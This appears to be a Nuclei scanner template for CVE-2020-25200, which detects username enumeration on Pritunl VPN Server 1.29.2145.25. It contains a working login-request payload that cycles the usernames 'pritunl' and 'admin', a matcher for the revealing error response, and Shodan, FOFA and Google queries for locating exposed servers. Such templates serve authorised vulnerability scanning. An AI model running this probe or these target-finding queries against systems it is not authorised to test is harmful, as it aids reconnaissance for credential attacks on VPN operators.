Pritunl VPN Server 1.29.2145.25 - Username Enumeration

id: CVE-2020-25200

info:
  name: Pritunl VPN Server 1.29.2145.25 - Username Enumeration
  author: pussycat0x
  severity: medium
  description: |
    Pritunl 1.29.2145.25 contains a username enumeration issue caused by different error responses in /auth/session login attempts, letting attackers verify valid usernames, exploit requires network access to the login endpoint.
  impact: |
    Attackers can enumerate valid VPN usernames, potentially aiding targeted attacks or credential stuffing efforts.
  remediation: |
    Implement uniform error responses for login attempts to prevent username enumeration.
  reference:
    - https://github.com/lukaszstu/pritunl-CVE-2020-25200/blob/master/CVE-2020-25200
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-25200
    cwe-id: CWE-203
    epss-score: 0.0747
    epss-percentile: 0.93727
    cpe: cpe:2.3:a:pritunl:pritunl:1.29.2145.25:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 25
    vendor: pritunl
    product: pritunl
    shodan-query: http.title:"pritunl"
    fofa-query: title="pritunl"
    google-query: intitle:"pritunl"
  tags: cve,cve2020,pritunl,vpn,enum

http:
  - raw:
      - |
        POST /auth/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login

        {"username":"{{username}}","password":"{{rand_int(10000,99999)}}"}

    attack: pitchfork

    payloads:
      username:
        - "pritunl"
        - "admin"

      attempt:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"
        - "11"
        - "12"
        - "13"
        - "14"
        - "15"
        - "16"
        - "17"
        - "18"
        - "19"
        - "20"
        - "21"
        - "22"
        - "23"
        - "24"
        - "25"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_any(body, "Too many authentication attempts", "auth_too_many")'
          - 'contains(header, "application/json")'
        condition: and
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